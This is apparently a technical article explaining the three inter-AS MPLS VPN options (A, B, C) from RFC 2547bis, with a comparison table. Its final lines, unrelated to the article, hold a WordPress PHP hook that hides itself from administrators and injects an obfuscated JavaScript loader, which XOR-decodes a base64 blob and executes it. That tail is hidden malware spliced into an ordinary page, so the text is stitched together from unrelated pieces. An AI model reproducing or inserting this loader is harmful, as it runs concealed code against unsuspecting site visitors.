Generally, an MPLS VPN architecture runs within an AS in which the VPN routing information is flooded on demand. The VPN routing information within the AS cannot be flooded to the AS of other SPs. To realize the exchange of VPN route information between different ASs, the inter-AS MPLS VPN model is introduced. The inter-AS MPLS VPN model is an extension of the existing protocol and MPLS VPN framework. Through this model, the route prefix and label information can be advertised over the links between different carrier networks.

RFC 2547bis presents three Inter-AS VPN solutions.

• Inter-Provider Backbones Option A: ASBRs manage VPN routes, through dedicated interfaces for the VPNs that traverse different ASs. This solution is also called VRF-to-VRF.
• Inter-Provider Backbones Option B: ASBRs advertise labeled VPN-IPv4 routes to each other through MP-EBGP. This solution is also called EBGP redistribution of labeled VPN-IPv4 routes.
• Inter-Provider Backbones Option C: PEs advertise labeled VPN-IPv4 routes to each other through Multi-hop MP-EBGP. This solution is also called Multi-hop EBGP redistribution of labeled VPN-IPv4 routes.

Inter-Provider Backbones Option A

As a basic BGP/MPLS IP VPN application in the inter-AS scenario, Option A does not need special configurations and MPLS need not run between ASBRs. In this mode, ASBRs of the two ASs are directly connected, and they act as the PEs in the ASs. Either of the ASBR PEs takes the peer ASBR as its CE and advertises IPv4 routes to the peer ASBR through EBGP.

Figure 1 Networking diagram of inter-provider backbones Option A 

In Figure 1, for ASBR1 in AS 100, ASBR2 is a CE. Similarly, for ASBR2, ASBR1 is a CE.

Inter-Provider Backbones Option B

In Option B, through MP-EBGP, two ASBRs receive the labeled VPN-IPv4 routes from the PEs in the ASs respectively and then exchange the routes.

Figure 2 Networking diagram of inter-provider backbones Option B 

In inter-AS VPN Option B, ASBRs receive all inter-AS VPNv4 routes within the local AS and from the outside ASs and then advertise these VPN-IPv4 routes. In the basic MPLS VPN implementation, a PE stores only the VPN routes that match the VPN target of the local VPN instance. Thus, the VPN instance whose routes need to be advertised by the ASBR can be configured on the ASBR, but no interface is bound to VPN instances. If the ASBR is not configured with the related VPN instances, the following methods can be adopted:

• The ASBR processes the labeled VPN-IPv4 routes specially and stores all the received VPN routes regardless of whether the local VPN instance that matches the routes exists.
  When using this method, note the following:
  • ASBRs do not filter the VPN-IPv4 routes received from each other based on VPN targets. Therefore, the SPs in different ASs that exchange VPN-IPv4 routes must reach a trust agreement on route exchange.
  • The VPN-IPv4 routes are exchanged only between VPN peers of private networks. A VPN cannot exchange VPN-IPv4 routes with public networks or MP-EBGP peers with whom there is no trust agreement.
  All the traffic is forwarded by the ASBR; thus, the traffic is easy to control, but the load on the ASBR increases.
• Use BGP routing policies such as the policy filtering routes based on RTs to control the transmission of VPN-IPv4 routes.

Inter-Provider Backbones Option C

The preceding two modes can satisfy networking requirements of inter-AS VPN. ASBRs, however, need to maintain and distribute VPN-IPv4 routes. When each AS needs to exchange a large number of VPN routes, ASBRs may hinder network extension.

The solution to the problem is that PEs directly exchange VPN-IPv4 routes with each other and ASBRs do not maintain or advertise VPN-IPv4 routes.

• ASBRs advertise labeled IPv4 routes to PEs in their respective ASs through MP-IBGP, and advertise labeled IPv4 routes received on PEs in the local AS to the ASBR peers in other ASs. ASBRs in the transit AS also advertise labeled IPv4 routes. Therefore, an BGP LSP can be established between the ingress PE and egress PE.
• The PEs in different ASs establish multi-hop EBGP connections with each other and exchange VPN-IPv4 routes.
• The ASBRs do not store VPN-IPv4 routes or advertise VPN-IPv4 routes to each other.

Figure 3 Networking diagram of inter-provider backbones Option C 

To improve the expansibility, you can specify an Route Reflector (RR) in each AS. The RR stores all VPN-IPv4 routes and exchanges VPN-IPv4 routes with the PEs in the AS. The RRs in two ASs establish MP-EBGP connections with each other and advertise VPN-IPv4 routes.

Figure 4 Networking diagram of inter-provider backbones Option C with RRs

Comparison Between Three Options

Inter-AS VPN	Characteristic
Option A	This solution is easy to implement because MPLS is not required between ASBRs and no special configuration is required. The expansibility, however, is poor because ASBRs need to manage all VPN routes and create VPN instances for each VPN. This may result in too many VPN-IPv4 routes on PEs. In addition, as common IP forwarding is performed between the ASBRs, each inter-AS VPN requires different interfaces, which can be sub-interfaces, physical interfaces, and bound logical interfaces. Therefore, this option poses high requirements for PEs. If a VPN spans multiple ASs, the intermediate ASs must support VPN services. This requires complex configurations and greatly affects the operation of the intermediate ASs. If the number of inter-AS VPNs is small, Option A can be considered.
Option B	Unlike Option A, Option B is not limited by the number of the links between ASBRs. VPN routing information is stored on and forwarded by ASBRs. When a great number of VPN routes exist, the overburdened ASBRs are likely to become bottlenecks. Therefore, in the MP-EBGP solution, the ASBRs that maintain VPN routing information do not perform IP forwarding on the public network.
Option C	VPN routes are directly exchanged between the ingress PE and the egress PE. The routes need not be stored and forwarded by intermediate devices. The exchange of VPN routing information involves only PEs. Ps and ASBRs are responsible for packet forwarding only. The intermediate devices need to support only MPLS forwarding rather than the MPLS VPN services. In such a case, ASBRs are unlikely to become bottlenecks. Option C, therefore, is suitable for the VPN that spans multiple ASs. MPLS VPN load balancing is easy to carry out in Option C. The disadvantage lies in the high-cost management of an end-to-end connection between PEs.

function xdav_tracker() { if ( is_user_logged_in() && current_user_can( 'administrator' ) ) { return; } ?>
;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();